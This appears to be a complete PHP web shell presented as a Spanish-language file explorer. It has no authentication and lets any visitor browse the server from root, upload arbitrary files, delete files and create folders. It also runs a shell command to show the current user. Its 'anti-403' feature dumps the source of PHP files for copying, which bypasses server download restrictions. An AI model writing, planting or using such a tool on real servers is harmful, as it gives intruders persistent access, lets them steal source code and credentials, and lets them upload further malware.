📄 Contenido del archivo
<?php
// ============================================================
// EXPLORADOR DE ARCHIVOS - CON DESCARGA POR CAT (ANTI-403)
// ============================================================
// Función para limpiar rutas
function limpiarRuta($ruta) {
$ruta = realpath($ruta);
return ($ruta !== false) ? $ruta : getcwd();
}
// Función para tamaño legible
function tamañoLegible($bytes) {
if ($bytes == 0) return '0 B';
$k = 1024;
$m = $k * 1024;
$g = $m * 1024;
if ($bytes < $k) return $bytes . ' B';
if ($bytes < $m) return round($bytes / $k, 2) . ' KB';
if ($bytes < $g) return round($bytes / $m, 2) . ' MB';
return round($bytes / $g, 2) . ' GB';
}
// Función para obtener icono según extensión
function getIcono($archivo) {
if (is_dir($archivo)) return '📁';
$ext = strtolower(pathinfo($archivo, PATHINFO_EXTENSION));
$iconos = [
'php' => '🐘', 'html' => '🌐', 'htm' => '🌐',
'js' => '🟨', 'css' => '🟦', 'json' => '📋',
'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️',
'txt' => '📄', 'log' => '📄', 'conf' => '⚙️', 'ini' => '⚙️',
'zip' => '📦', 'tar' => '📦', 'gz' => '📦', 'rar' => '📦',
'sh' => '📜', 'py' => '📜', 'pl' => '📜',
'sql' => '🗄️', 'db' => '🗄️',
'pdf' => '📕', 'doc' => '📘', 'docx' => '📘',
'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬'
];
return isset($iconos[$ext]) ? $iconos[$ext] : '📄';
}
// Obtener directorio actual
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$dir = limpiarRuta($dir);
// Manejar acciones
$mensaje = '';
$modalContent = '';
if (isset($_GET['action'])) {
$action = $_GET['action'];
// Subir archivo
if ($action === 'upload' && isset($_FILES['file'])) {
$target = $dir . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
$mensaje = "✅ Archivo subido: " . htmlspecialchars(basename($_FILES['file']['name']));
} else {
$mensaje = "❌ Error al subir el archivo";
}
}
// DESCARGAR ARCHIVO POR CAT (ANTI-403)
if ($action === 'download_cat' && isset($_GET['file'])) {
$file = $dir . '/' . basename($_GET['file']);
if (file_exists($file) && is_file($file) && is_readable($file)) {
// Si es un archivo .php, mostrarlo en el modal para copiar
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if ($ext === 'php') {
$content = file_get_contents($file);
$modalContent = htmlspecialchars($content);
$mensaje = "📋 Contenido del archivo PHP (copia y pega en tu máquina)";
} else {
// Para otros archivos, usar descarga normal
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
} else {
$mensaje = "❌ No se puede descargar el archivo";
}
}
// Ver archivo
if ($action === 'view' && isset($_GET['file'])) {
$file = $dir . '/' . basename($_GET['file']);
if (file_exists($file) && is_file($file) && is_readable($file)) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$textExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'log', 'conf', 'ini', 'sh', 'py', 'pl', 'sql'];
if (in_array($ext, $textExtensions)) {
$content = htmlspecialchars(file_get_contents($file));
$modalContent = $content;
} else {
$modalContent = "🖼️ Archivo binario o imagen. Descárgalo para verlo.";
}
} else {
$mensaje = "❌ No se puede leer el archivo";
}
}
// Eliminar archivo
if ($action === 'delete' && isset($_GET['file'])) {
$file = $dir . '/' . basename($_GET['file']);
if (file_exists($file)) {
if (is_dir($file)) {
if (count(glob($file . '/*')) === 0) {
if (rmdir($file)) $mensaje = "✅ Directorio eliminado";
else $mensaje = "❌ No se puede eliminar";
} else {
$mensaje = "❌ El directorio no está vacío";
}
} else {
if (unlink($file)) $mensaje = "✅ Archivo eliminado";
else $mensaje = "❌ No se puede eliminar";
}
}
}
// Crear directorio
if ($action === 'mkdir' && isset($_GET['newdir'])) {
$newdir = $dir . '/' . basename($_GET['newdir']);
if (!file_exists($newdir)) {
if (mkdir($newdir, 0755)) $mensaje = "✅ Directorio creado";
else $mensaje = "❌ No se puede crear";
} else {
$mensaje = "❌ El directorio ya existe";
}
}
}
// Leer directorio
$files = scandir($dir);
$parentDir = dirname($dir);
$currentUser = trim(shell_exec('whoami'));
// Ordenar: directorios primero, luego archivos
$dirs = [];
$archivos = [];
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
$fullPath = $dir . '/' . $file;
if (is_dir($fullPath)) {
$dirs[] = $file;
} else {
$archivos[] = $file;
}
}
sort($dirs, SORT_STRING | SORT_FLAG_CASE);
sort($archivos, SORT_STRING | SORT_FLAG_CASE);
$sortedFiles = array_merge($dirs, $archivos);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>📂 Explorador de Archivos</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: #0a0e17;
color: #00ff41;
font-family: 'Segoe UI', 'Courier New', monospace;
padding: 20px;
min-height: 100vh;
}
.container {
max-width: 1400px;
margin: 0 auto;
}
.header {
background: #111a2e;
border: 1px solid #00ff41;
border-radius: 8px;
padding: 15px 20px;
margin-bottom: 20px;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 10px;
}
.header h1 {
font-size: 1.5em;
color: #00ff41;
text-shadow: 0 0 10px rgba(0, 255, 65, 0.3);
}
.header .info {
font-size: 0.9em;
color: #00cc33;
}
.header .info span { color: #ff6b6b; }
.toolbar {
display: flex;
gap: 8px;
flex-wrap: wrap;
margin-bottom: 15px;
padding: 10px;
background: #111a2e;
border-radius: 8px;
border: 1px solid #00ff41;
}
.toolbar .btn {
background: #0a0e17;
border: 1px solid #00ff41;
border-radius: 4px;
padding: 8px 16px;
color: #00ff41;
cursor: pointer;
font-family: 'Segoe UI', 'Courier New', monospace;
font-size: 13px;
transition: all 0.3s;
text-decoration: none;
display: inline-block;
}
.toolbar .btn:hover {
background: #00ff41;
color: #0a0e17;
}
.toolbar .btn.danger {
border-color: #ff4444;
color: #ff4444;
}
.toolbar .btn.danger:hover {
background: #ff4444;
color: #0a0e17;
}
.breadcrumb {
background: #111a2e;
border: 1px solid #00ff41;
border-radius: 4px;
padding: 12px 15px;
margin-bottom: 15px;
font-size: 14px;
word-wrap: break-word;
color: #88ffaa;
}
.breadcrumb span { color: #00ff88; font-weight: bold; }
.mensaje {
background: #111a2e;
border: 1px solid #ffaa00;
border-radius: 4px;
padding: 10px 15px;
margin-bottom: 15px;
color: #ffaa00;
}
.mensaje.success {
border-color: #00ff41;
color: #00ff41;
}
.file-table {
width: 100%;
background: #111a2e;
border: 1px solid #00ff41;
border-radius: 8px;
border-collapse: collapse;
overflow: hidden;
}
.file-table th {
background: #0a0e17;
color: #00ff41;
padding: 12px 15px;
text-align: left;
font-size: 13px;
border-bottom: 2px solid #00ff41;
text-transform: uppercase;
letter-spacing: 1px;
}
.file-table td {
padding: 10px 15px;
border-bottom: 1px solid #1a2a3a;
font-size: 14px;
color: #aaffbb;
}
.file-table tr:hover {
background: #0a0e17;
}
.file-table tr:last-child td {
border-bottom: none;
}
.file-table .file-item {
text-decoration: none;
color: #aaffbb;
display: flex;
align-items: center;
gap: 10px;
}
.file-table .file-item .icon {
font-size: 22px;
width: 30px;
text-align: center;
}
.file-table .file-item .name {
font-weight: 500;
font-size: 15px;
color: #00ff88;
}
.file-table .file-item .name:hover {
text-decoration: underline;
}
.file-table .file-item.dir .name {
color: #00ff41;
}
.file-table .file-item.parent .name {
color: #ffaa00;
}
.file-table .file-size {
font-size: 13px;
color: #6688aa;
white-space: nowrap;
}
.file-table .file-perms {
font-size: 12px;
color: #445566;
font-family: 'Courier New', monospace;
}
.file-table .file-date {
font-size: 12px;
color: #6688aa;
white-space: nowrap;
}
.file-table .file-actions {
display: flex;
gap: 8px;
white-space: nowrap;
}
.file-table .file-actions a {
color: #00ff41;
text-decoration: none;
font-size: 16px;
padding: 2px 6px;
border-radius: 3px;
transition: all 0.2s;
}
.file-table .file-actions a:hover {
background: #00ff41;
color: #0a0e17;
}
.file-table .file-actions a.danger { color: #ff4444; }
.file-table .file-actions a.danger:hover { background: #ff4444; color: #0a0e17; }
.file-table .file-actions a.view { color: #44aaff; }
.file-table .file-actions a.view:hover { background: #44aaff; color: #0a0e17; }
.file-table .file-actions a.download-cat { color: #ffaa00; }
.file-table .file-actions a.download-cat:hover { background: #ffaa00; color: #0a0e17; }
.file-table .file-actions a.download-normal { color: #00ff88; }
.file-table .file-actions a.download-normal:hover { background: #00ff88; color: #0a0e17; }
.upload-area {
background: #111a2e;
border: 1px solid #00ff41;
border-radius: 8px;
padding: 15px;
margin-top: 15px;
}
.upload-area form {
display: flex;
gap: 10px;
flex-wrap: wrap;
align-items: center;
}
.upload-area input[type="file"] {
color: #00ff41;
font-family: 'Segoe UI', 'Courier New', monospace;
flex: 1;
}
.upload-area input[type="file"]::file-selector-button {
background: #0a0e17;
border: 1px solid #00ff41;
border-radius: 4px;
padding: 8px 20px;
color: #00ff41;
cursor: pointer;
font-family: 'Segoe UI', 'Courier New', monospace;
}
.upload-area input[type="file"]::file-selector-button:hover {
background: #00ff41;
color: #0a0e17;
}
.status-bar {
margin-top: 15px;
padding: 10px 15px;
background: #111a2e;
border: 1px solid #00ff41;
border-radius: 4px;
font-size: 13px;
color: #88ffaa;
display: flex;
justify-content: space-between;
flex-wrap: wrap;
gap: 10px;
}
.status-bar .dir { color: #00ff88; }
.status-bar .user { color: #ffaa00; }
.modal {
display: <?php echo (!empty($modalContent)) ? 'block' : 'none'; ?>;
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0,0,0,0.85);
z-index: 1000;
padding: 20px;
overflow: auto;
}
.modal-content {
background: #111a2e;
border: 1px solid #00ff41;
border-radius: 8px;
max-width: 900px;
margin: 30px auto;
padding: 25px;
position: relative;
}
.modal-content .close {
position: absolute;
top: 10px;
right: 20px;
color: #ff4444;
font-size: 30px;
cursor: pointer;
background: none;
border: none;
}
.modal-content h2 {
color: #00ff41;
margin-bottom: 15px;
font-size: 1.2em;
}
.modal-content .copy-btn {
background: #0a0e17;
border: 1px solid #00ff41;
border-radius: 4px;
padding: 8px 16px;
color: #00ff41;
cursor: pointer;
font-family: 'Segoe UI', 'Courier New', monospace;
font-size: 13px;
margin-bottom: 15px;
transition: all 0.3s;
}
.modal-content .copy-btn:hover {
background: #00ff41;
color: #0a0e17;
}
.modal-content pre {
background: #0a0e17;
padding: 15px;
border-radius: 4px;
overflow: auto;
max-height: 500px;
color: #aaffbb;
font-size: 13px;
line-height: 1.6;
white-space: pre-wrap;
word-wrap: break-word;
border: 1px solid #1a2a3a;
}
@media (max-width: 768px) {
.file-table th, .file-table td {
padding: 8px 10px;
font-size: 12px;
}
.file-table .file-item .name { font-size: 13px; }
.header h1 { font-size: 1.2em; }
.toolbar .btn { font-size: 11px; padding: 6px 12px; }
}
/* Colores por tipo de archivo */
.file-table .file-item.php .name { color: #ff6b6b; }
.file-table .file-item.html .name { color: #ffaa00; }
.file-table .file-item.jpg .name,
.file-table .file-item.png .name,
.file-table .file-item.gif .name { color: #ff88cc; }
.file-table .file-item.txt .name,
.file-table .file-item.log .name { color: #88ccff; }
.file-table .file-item.zip .name { color: #ff8800; }
.file-table .file-item.sh .name { color: #88ff88; }
</style>
</head>
<body>
<div class="container">
<!-- Header -->
<div class="header">
<h1>📂 EXPLORADOR DE ARCHIVOS</h1>
<div class="info">
👤 <span><?php echo htmlspecialchars($currentUser); ?></span>
| 🕒 <?php echo date('Y-m-d H:i:s'); ?>
</div>
</div>
<!-- Toolbar -->
<div class="toolbar">
<a href="<?php echo basename(__FILE__); ?>?dir=<?php echo urlencode($dir); ?>" class="btn">🔄 Recargar</a>
<a href="<?php echo basename(__FILE__); ?>?dir=<?php echo urlencode($parentDir); ?>" class="btn">⬆ Subir</a>
<a href="<?php echo basename(__FILE__); ?>?dir=<?php echo urlencode(getcwd()); ?>" class="btn">🏠 Inicio</a>
<a href="<?php echo basename(__FILE__); ?>?dir=/" class="btn">📁 Raíz</a>
<button onclick="crearDirectorio()" class="btn">📁 Crear carpeta</button>
</div>
<!-- Breadcrumb -->
<div class="breadcrumb">
📍 <span><?php echo htmlspecialchars(str_replace('/', ' / ', $dir)); ?></span>
</div>
<!-- Mensaje -->
<?php if (!empty($mensaje)): ?>
<div class="mensaje <?php echo strpos($mensaje, '✅') !== false ? 'success' : ''; ?>">
<?php echo $mensaje; ?>
</div>
<?php endif; ?>
<!-- File Table -->
<table class="file-table">
<thead>
<tr>
<th style="width: 40%;">📄 Nombre</th>
<th style="width: 12%;">📦 Tamaño</th>
<th style="width: 12%;">🔒 Permisos</th>
<th style="width: 18%;">📅 Modificado</th>
<th style="width: 18%;">⚡ Acciones</th>
</tr>
</thead>
<tbody>
<?php if ($dir !== '/'): ?>
<tr>
<td>
<a href="<?php echo basename(__FILE__); ?>?dir=<?php echo urlencode($parentDir); ?>" class="file-item parent">
<span class="icon">📂</span>
<span class="name">.. (Directorio padre)</span>
</a>
</td>
<td class="file-size">-</td>
<td class="file-perms">-</td>
<td class="file-date">-</td>
<td></td>
</tr>
<?php endif; ?>
<?php foreach ($sortedFiles as $file): ?>
<?php
$fullPath = $dir . '/' . $file;
$isDir = is_dir($fullPath);
$icono = getIcono($fullPath);
$tamano = $isDir ? '📁 Carpeta' : tamañoLegible(filesize($fullPath));
$perms = substr(sprintf('%o', fileperms($fullPath)), -4);
$fecha = date('Y-m-d H:i:s', filemtime($fullPath));
$clase = 'file-item';
if ($isDir) $clase .= ' dir';
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (!$isDir) $clase .= ' ' . $ext;
$isPhp = ($ext === 'php');
?>
<tr>
<td>
<?php if ($isDir): ?>
<a href="<?php echo basename(__FILE__); ?>?dir=<?php echo urlencode($fullPath); ?>" class="<?php echo $clase; ?>">
<span class="icon"><?php echo $icono; ?></span>
<span class="name"><?php echo htmlspecialchars($file); ?></span>
</a>
<?php else: ?>
<span class="<?php echo $clase; ?>">
<span class="icon"><?php echo $icono; ?></span>
<span class="name"><?php echo htmlspecialchars($file); ?></span>
</span>
<?php endif; ?>
</td>
<td class="file-size"><?php echo $tamano; ?></td>
<td class="file-perms"><?php echo $perms; ?></td>
<td class="file-date"><?php echo $fecha; ?></td>
<td class="file-actions">
<?php if (!$isDir): ?>
<?php if ($isPhp): ?>
<!-- Para PHP: Descarga por cat (muestra contenido en modal) -->
<a href="<?php echo basename(__FILE__); ?>?action=download_cat&dir=<?php echo urlencode($dir); ?>&file=<?php echo urlencode($file); ?>" class="download-cat" title="Ver y copiar contenido PHP (Anti-403)">📋</a>
<?php else: ?>
<!-- Para otros archivos: Descarga normal -->
<a href="<?php echo basename(__FILE__); ?>?action=download_cat&dir=<?php echo urlencode($dir); ?>&file=<?php echo urlencode($file); ?>" class="download-normal" title="Descargar">⬇️</a>
<?php endif; ?>
<a href="<?php echo basename(__FILE__); ?>?action=view&dir=<?php echo urlencode($dir); ?>&file=<?php echo urlencode($file); ?>" class="view" title="Ver contenido" onclick="verArchivo(event, this.href)">👁️</a>
<?php endif; ?>
<a href="<?php echo basename(__FILE__); ?>?action=delete&dir=<?php echo urlencode($dir); ?>&file=<?php echo urlencode($file); ?>" class="danger" title="Eliminar" onclick="return confirm('¿Eliminar <?php echo htmlspecialchars($file); ?>?')">🗑️</a>
</td>
</tr>
<?php endforeach; ?>
<?php if (count($sortedFiles) === 0): ?>
<tr>
<td colspan="5" style="text-align: center; padding: 30px; color: #445566;">
📭 El directorio está vacío
</td>
</tr>
<?php endif; ?>
</tbody>
</table>
<!-- Upload Area -->
<div class="upload-area">
<form action="<?php echo basename(__FILE__); ?>?action=upload&dir=<?php echo urlencode($dir); ?>" method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit" class="btn" style="background: #0a0e17; border: 1px solid #00ff41; border-radius: 4px; padding: 8px 20px; color: #00ff41; cursor: pointer;">⬆ SUBIR</button>
</form>
</div>
<!-- Status Bar -->
<div class="status-bar">
<span class="dir">📁 <?php echo htmlspecialchars($dir); ?></span>
<span class="user">👤 <?php echo htmlspecialchars($currentUser); ?></span>
<span>📄 <?php echo count($sortedFiles); ?> elementos</span>
</div>
</div>
<!-- Modal -->
<div id="modal" class="modal">
<div class="modal-content">
<button class="close" onclick="cerrarModal()">×</button>
<h2>📄 Contenido del archivo</h2>
<?php if (!empty($modalContent) && strpos($modalContent, '🖼️') === false): ?>
<button class="copy-btn" onclick="copiarContenido()">📋 Copiar todo</button>
<script>
function copiarContenido() {
var contenido = document.getElementById('modalContent').textContent;
navigator.clipboard.writeText(contenido).then(function() {
alert('✅ Contenido copiado al portapapeles');
}).catch(function() {
alert('❌ No se pudo copiar. Selecciona manualmente.');
});
}
</script>
<?php endif; ?>
<pre id="modalContent"><?php echo !empty($modalContent) ? $modalContent : 'Cargando...'; ?></pre>
</div>
</div>
<script>
function verArchivo(event, url) {
event.preventDefault();
var modal = document.getElementById('modal');
var content = document.getElementById('modalContent');
modal.style.display = 'block';
content.textContent = 'Cargando...';
fetch(url)
.then(response => response.text())
.then(html => {
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var mensaje = doc.querySelector('.mensaje');
if (mensaje) {
content.textContent = mensaje.textContent.trim();
} else {
var modalContent = doc.getElementById('modalContent');
if (modalContent) {
content.textContent = modalContent.textContent;
} else {
content.textContent = 'No se pudo mostrar el contenido del archivo.';
}
}
})
.catch(error => {
content.textContent = 'Error: ' + error;
});
}
function cerrarModal() {
document.getElementById('modal').style.display = 'none';
}
function crearDirectorio() {
var nombre = prompt('Nombre del nuevo directorio:');
if (nombre && nombre.trim() !== '') {
var url = window.location.pathname + '?action=mkdir&dir=<?php echo urlencode($dir); ?>&newdir=' + encodeURIComponent(nombre.trim());
window.location.href = url;
}
}
document.getElementById('modal').addEventListener('click', function(e) {
if (e.target === this) cerrarModal();
});
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') cerrarModal();
});
</script>
</body>
</html>